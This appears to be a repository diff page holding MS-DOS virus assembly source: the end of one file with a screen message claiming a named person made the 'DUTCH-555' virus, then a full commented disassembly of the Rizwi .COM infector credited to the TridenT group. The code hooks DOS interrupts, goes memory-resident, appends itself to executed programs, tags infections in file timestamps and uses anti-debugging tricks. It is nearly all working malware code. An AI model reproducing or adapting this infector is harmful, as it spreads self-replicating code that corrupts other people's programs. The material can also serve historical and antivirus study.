Call Dos
|
||||
Inc Byte Ptr Cs:[FileCount]
|
||||
Jmp Close
|
||||
|
||||
ShutDown: Pop Bp
|
||||
Pop Es
|
||||
Pop Ds
|
||||
Pop Di
|
||||
Pop Si
|
||||
Pop Dx
|
||||
Pop Cx
|
||||
Pop Bx
|
||||
Pop Ax
|
||||
Jmp EOI
|
||||
|
||||
Old1c DD 0
|
||||
|
||||
New1c: pushf
|
||||
push ax
|
||||
push cx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
Cmp Byte Ptr Cs:[FileCount],200
|
||||
Jb EOI16
|
||||
Cmp Byte Ptr Cs:[FileCount],240
|
||||
Ja EOI16
|
||||
|
||||
Cmp Word Ptr Cs:[ActCount],5000h
|
||||
Je Activate
|
||||
Inc Word Ptr Cs:[ActCount]
|
||||
Jmp EOI16
|
||||
|
||||
Activate:
|
||||
Mov Ds,Cs
|
||||
Mov Ax,0b800h
|
||||
|
||||
Mov Es,Ax
|
||||
Lea Si,ScrMsg
|
||||
Mov Di,160
|
||||
Sub Di,ScrLen
|
||||
|
||||
Mov Cx,ScrLen
|
||||
Rep MovSb
|
||||
|
||||
EOI16: pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop cx
|
||||
pop ax
|
||||
popf
|
||||
iret
|
||||
|
||||
ScrMsg Db ' OROiOgOhOaOrOdO OZOwOiOeOnOeOnObOeOrOgO OmOaOdOeO OtOhOeO ODOUOTOCOHO-O5O5O5O OVOiOrOuOsO!O!O!O O'
|
||||
ScrLen Equ $-ScrMsg
|
||||
|
||||
FileCount Db 0
|
||||
ActCount Dw 0
|
||||
Start Db 0e9h
|
||||
Jump Dw 0
|
||||
FAttr Dw 0
|
||||
FHandle Dw 0
|
||||
FDate Dw 0
|
||||
FTime Dw 0
|
||||
|
||||
PrgLen Equ $-Prg
|
||||
PrgPar Equ (PrgLen+0fh)/16
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
297
MSDOS/Virus.MSDOS.Unknown.rizwi.asm
Normal file
297
MSDOS/Virus.MSDOS.Unknown.rizwi.asm
Normal file
@ -0,0 +1,297 @@
|
||||
;Rizwi Virus from the TridenT research group.
|
||||
;Memory resident .COM infector.
|
||||
|
||||
;This virus is only active after the spring of 1994.
|
||||
;When active, it infects .COM files on execution, and keeps
|
||||
;track of the number of files that it has infected. While it has
|
||||
;infected between 0C8h and 0f0h files, it displays the message
|
||||
;that " Righard Zwienenberg made the DUTCH-555 virus!!! " on
|
||||
;the screen.
|
||||
|
||||
;This virus has some anti-debugging code, as it masks the keyboard
|
||||
;interrupt and checks to see if it remaines masked, so when debugging
|
||||
;through it one must jump over these sections of code (In/Out port 21h
|
||||
;and the checking of ax accompanying them).
|
||||
|
||||
;Disassembly by Black Wolf
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
org 100h
|
||||
|
||||
start:
|
||||
call Get_Offset
|
||||
Get_Offset:
|
||||
pop bp
|
||||
sub bp,offset Get_Offset
|
||||
|
||||
mov ah,30h
|
||||
int 21h ;Get Dos version/Install Check
|
||||
|
||||
cmp bx,4243h
|
||||
je DoneInstall ;Already Installed
|
||||
|
||||
mov ah,2Ah
|
||||
int 21h ;Get date
|
||||
|
||||
in al,21h ;Read interrupt masks...
|
||||
|
||||
cmp cx,1993 ;Is year later than 1993?
|
||||
ja GoMemRes ;If not, exit.
|
||||
|
||||
cmp dh,4
|
||||
ja GoMemRes ;Is month < May, exit.
|
||||
DoneInstall:
|
||||
db 0e9h,74h,0 ;jmp ReturnToHost
|
||||
|
||||
GoMemRes:
|
||||
or al,2
|
||||
push ax
|
||||
mov ax,351Ch
|
||||
int 21h ;Get timer interrupt
|
||||
|
||||
mov cs:[Int1cIP+bp],bx
|
||||
mov cs:[Int1cCS+bp],es
|
||||
|
||||
pop ax
|
||||
out 21h,al ;Interrupt - disable keyboard?
|
||||
|
||||
SetInterrupts:
|
||||
mov ax,3521h
|
||||
int 21h ;Get int 21 address
|
||||
|
||||
mov word ptr cs:[OldInt21+bp],bx
|
||||
mov word ptr cs:[OldInt21+2+bp],es
|
||||
in al,21h
|
||||
and al,2
|
||||
push ax
|
||||
|
||||
mov ax,cs
|
||||
dec ax
|
||||
mov ds,ax ;Set DS = MCB
|
||||
cmp byte ptr ds:0,'Z' ;Are we at the end of the
|
||||
jne ReturnToHost ;memory chain?
|
||||
|
||||
;sub word ptr ds:[3],27h ;Decrease MCB size
|
||||
db 81h,2eh,03,0,27h,0
|
||||
|
||||
;sub word ptr ds:[12h],27h ;Decrease PSP top of memory
|
||||
db 81h,2eh,12h,0,27h,0
|
||||
|
||||
lea si,[bp+100h] ;SI = beginning of virus
|
||||
mov di,100h ;DI = new offset (100h)
|
||||
|
||||
pop ax
|
||||
cmp al,2 ;Did someone skip interrupt
|
||||
jne SetInterrupts ;disabling code? If so,
|
||||
;loop them back to redo
|
||||
;interrupt setting.
|
||||
|
||||
|
||||
mov ax,ds:[12h] ;Get free segment
|
||||
sub ax,10h ;Subtract 10h to account for
|
||||
mov es,ax ; offset of 100h
|
||||
mov cx,263h
|
||||
push cs
|
||||
pop ds
|
||||
rep movsb ;Copy virus into memory
|
||||
in al,21h
|
||||
xor al,2
|
||||
push es
|
||||
pop ds
|
||||
out 21h,al ;Do the keyboard int again...
|
||||
|
||||
mov ax,251Ch
|
||||
mov dx,offset Int1cHandler
|
||||
int 21h ;Set int 1ch
|
||||
|
||||
|
||||
mov ax,2521h
|
||||
mov dx,offset Int21Handler
|
||||
int 21h ;Set int 21h
|
||||
|
||||
ReturnToHost:
|
||||
push cs ;Restore Seg regs
|
||||
pop ds
|
||||
push ds
|
||||
pop es
|
||||
mov di,100h
|
||||
push di
|
||||
lea si,[bp+Storage_Bytes] ;Storage bytes
|
||||
movsw
|
||||
movsb ;Restore host
|
||||
ret
|
||||
|
||||
|
||||
Storage_Bytes:
|
||||
int 20h
|
||||
popf
|
||||
|
||||
TridenT_ID db '[TridenT]'
|
||||
|
||||
FakeInt21h:
|
||||
pushf
|
||||
call dword ptr cs:OldInt21 ;Fake Interrupt 21h
|
||||
retn
|
||||
|
||||
|
||||
VirusVersion db '{V1.1 Bugfix}'
|
||||
|
||||
OldInt21 dw 0, 0
|
||||
|
||||
Int21Handler:
|
||||
cmp ax,4b00h
|
||||
je IsExecute
|
||||
cmp ah,30h
|
||||
jnz ExitInt21
|
||||
call FakeInt21h
|
||||
mov bx,4243h
|
||||
iret
|
||||
|
||||
ExitInt21:
|
||||
jmp dword ptr cs:OldInt21
|
||||
|
||||
IsExecute:
|
||||
push ax bx cx dx si di ds es bp ds dx
|
||||
|
||||
mov ax,4300h
|
||||
call FakeInt21h ;Get attributes
|
||||
|
||||
mov FileAttribs,cx ;Save them
|
||||
xor cx,cx
|
||||
mov ax,4301h ;Reset Attributes
|
||||
call FakeInt21h
|
||||
|
||||
mov ax,3D02h ;Open file
|
||||
call FakeInt21h
|
||||
|
||||
mov Filehandle,ax
|
||||
xchg ax,bx
|
||||
mov ax,5700h
|
||||
call FakeInt21h ;Get file date/time
|
||||
mov cs:[FileTime],cx ; and save them
|
||||
mov cs:[FileDate],dx
|
||||
and cx,1Fh
|
||||
cmp cx,1Fh ;Check infection in time stamp
|
||||
jne Infect_File
|
||||
|
||||
|
||||
CloseFile:
|
||||
mov ah,3Eh
|
||||
call FakeInt21h
|
||||
|
||||
pop dx ;Pop filename address
|
||||
pop ds
|
||||
mov cx,FileAttribs
|
||||
mov ax,4301h
|
||||
call FakeInt21h ;Reset Attributes
|
||||
|
||||
db 0e9h, 67h, 0 ;jmp DoneInfect
|
||||
|
||||
Infect_File:
|
||||
mov ah,3Fh
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset Storage_Bytes
|
||||
mov cx,3
|
||||
call FakeInt21h ;Read in first 3 bytes
|
||||
|
||||
cmp word ptr cs:[Storage_Bytes],4D5Ah ;Is EXE?
|
||||
je CloseFile
|
||||
cmp word ptr cs:[Storage_Bytes],5A4Dh ;Is alternate EXE?
|
||||
je CloseFile
|
||||
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call FakeInt21h ;Go to the end of file
|
||||
|
||||
sub ax,3 ;adjust size for jump
|
||||
mov word ptr [JumpSize],ax ;save jump size
|
||||
|
||||
mov ah,40h
|
||||
mov dx,100h
|
||||
mov cx,263h
|
||||
call FakeInt21h ;Append Virus to host
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx ;Go to beginning
|
||||
call FakeInt21h ;of host file.
|
||||
|
||||
mov ah,40h
|
||||
mov dx,358h
|
||||
mov cx,3
|
||||
call FakeInt21h ;Write Jump bytes
|
||||
|
||||
mov ax,5701h
|
||||
mov cx,[FileTime]
|
||||
mov dx,[FileDate]
|
||||
or cx,1Fh ;Mark infection in time stamp
|
||||
call FakeInt21h ;Restore time/date
|
||||
|
||||
inc byte ptr cs:[Counter] ;Activation counter...
|
||||
jmp short CloseFile
|
||||
|
||||
DoneInfect:
|
||||
pop bp es ds di si dx cx bx ax
|
||||
jmp ExitInt21
|
||||
|
||||
Int1cIP dw 0
|
||||
Int1cCS dw 0
|
||||
|
||||
Int1cHandler: ;While infections are between C8h and F0h,
|
||||
;Stick message on screen every once in a while.
|
||||
pushf
|
||||
push ax cx si di ds es
|
||||
cmp byte ptr cs:[Counter],0C8h
|
||||
jb ExitInt1c
|
||||
cmp byte ptr cs:[Counter],0F0h
|
||||
ja ExitInt1c
|
||||
cmp word ptr cs:[TimerCount],5000h
|
||||
je WriteMessageToScreen
|
||||
inc word ptr cs:[TimerCount]
|
||||
|
||||
db 0e9h,16h,0 ;jmp ExitInt1c
|
||||
|
||||
WriteMessageToScreen:
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,0B800h ;Text Screen memory
|
||||
mov es,ax
|
||||
mov si,offset Message
|
||||
mov di,0A0h
|
||||
db 81h,0efh,62h,0 ;sub di,EndMessage-Message
|
||||
mov cx,EndMessage-Message
|
||||
rep movsb
|
||||
|
||||
ExitInt1c:
|
||||
pop es ds di si cx ax
|
||||
popf
|
||||
iret
|
||||
|
||||
;Message says " Righard Zwienenberg made the DUTCH-555 virus!!! "
|
||||
;Capital O's are attribute values....
|
||||
|
||||
Message:
|
||||
db ' OROiOgOhOaOrOdO OZOwOiOeOnOeOnO'
|
||||
db 'bOeOrOgO OmOaOdOeO OtOhOeO ODOUO'
|
||||
db 'TOCOHO-O5O5O5O OVOiOrOuOsO!O!O!O'
|
||||
db ' O'
|
||||
EndMessage:
|
||||
|
||||
Counter db 0
|
||||
|
||||
TimerCount dw 0
|
||||
|
||||
JumpBytes db 0E9h
|
||||
JumpSize dw 0
|
||||
|
||||
FileAttribs dw 0
|
||||
Filehandle dw 0
|
||||
FileDate dw 0
|
||||
FileTime dw 0
|
||||
|
||||
end start
|
||||
|
Loading…
Reference in New Issue
Block a user